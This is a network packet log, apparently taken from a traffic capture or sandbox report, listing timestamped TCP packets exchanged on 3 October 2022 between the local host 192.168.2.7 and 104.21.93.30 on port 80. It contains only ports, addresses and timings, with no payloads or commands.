Oct 3, 2022 17:34:53.944998026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945010900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945029974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945039988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945045948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945056915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945086002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945167065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945188999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945200920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945214987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945231915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945249081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945255041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945269108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945276022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945287943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945293903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945308924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945327044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945331097 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945346117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945363998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945364952 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945383072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945395947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945410013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945422888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945436001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945452929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945466042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945483923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945489883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.945502043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.945540905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.946125984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946146011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946163893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946177959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.946181059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946199894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946201086 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.946217060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946234941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946252108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946258068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.946269035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946280003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.946286917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946306944 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.946306944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946322918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946335077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946347952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946360111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946372986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946386099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946394920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.946573019 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948613882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948636055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948654890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948673010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948673964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948692083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948712111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948719978 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948730946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948749065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948750019 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948765993 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948769093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948785067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948798895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948810101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948822975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948839903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948852062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948868990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948872089 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948888063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948900938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948906898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948926926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948937893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.948945045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948964119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.948966026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949006081 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949040890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949059963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949076891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949110031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949125051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949141026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949162960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949285030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949304104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949316978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949335098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949347973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949352980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949369907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949383020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949388027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949398041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949408054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949425936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949434996 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949467897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949486017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949493885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949523926 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949590921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949609041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949628115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949644089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949651957 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949664116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949680090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949692965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949702978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949721098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949723959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949738979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949757099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.949765921 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.949800968 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950244904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950263023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950280905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950299025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950311899 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950316906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950335979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950346947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950354099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950371981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950386047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950388908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950407982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950413942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950428009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950444937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950469971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950470924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950489044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950505972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950510025 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950524092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950531960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950541973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950563908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.950573921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950583935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950591087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950598001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.950644970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951180935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951200962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951219082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951236010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951251030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951253891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951273918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951282978 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951293945 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951293945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951318026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951328039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951334953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951338053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951358080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951374054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951381922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951391935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951406002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951410055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951428890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951432943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951447010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951466084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951474905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951483965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951502085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951519012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951523066 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951538086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.951546907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.951584101 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.952090979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.952110052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.952127934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.952143908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.952156067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.952182055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.984797955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984833002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984850883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984868050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984884977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984903097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984920025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984934092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.984939098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984956980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984977961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.984982967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.984982967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.984997034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.985014915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.985023022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.985033989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.985052109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.985055923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.985070944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.985089064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.985104084 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.985127926 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.988940001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.988971949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.988990068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989007950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989026070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989043951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989061117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989068031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.989078999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989098072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989111900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.989119053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989136934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989136934 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.989156008 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.989156008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989176035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989193916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989197016 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.989212990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989231110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.989248037 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.989272118 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.992985964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993017912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993036032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993053913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993072033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993089914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993099928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993109941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993129015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993144035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993148088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993168116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993170023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993186951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993205070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993211031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993223906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993242025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993243933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993263006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993288040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993288994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993309975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993328094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993328094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993349075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993366957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993375063 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993386030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993402004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993403912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993423939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993442059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993452072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993460894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993478060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993483067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993581057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993602037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993623972 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993633986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993653059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993655920 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993671894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993690014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993697882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993710995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993727922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993729115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993748903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993767023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993783951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993788958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993803024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993813038 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993820906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993839025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993844032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993856907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993875027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993891001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993891954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993912935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993916988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993931055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993946075 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.993947983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993967056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.993995905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994529009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994554043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994571924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994590998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994607925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994622946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994626045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994645119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994662046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994668961 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994679928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994687080 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994699001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994716883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994719028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994740009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994756937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994775057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994787931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994792938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994812012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994817019 CEST	49702	80	192.168.2.7	104.21.93.30
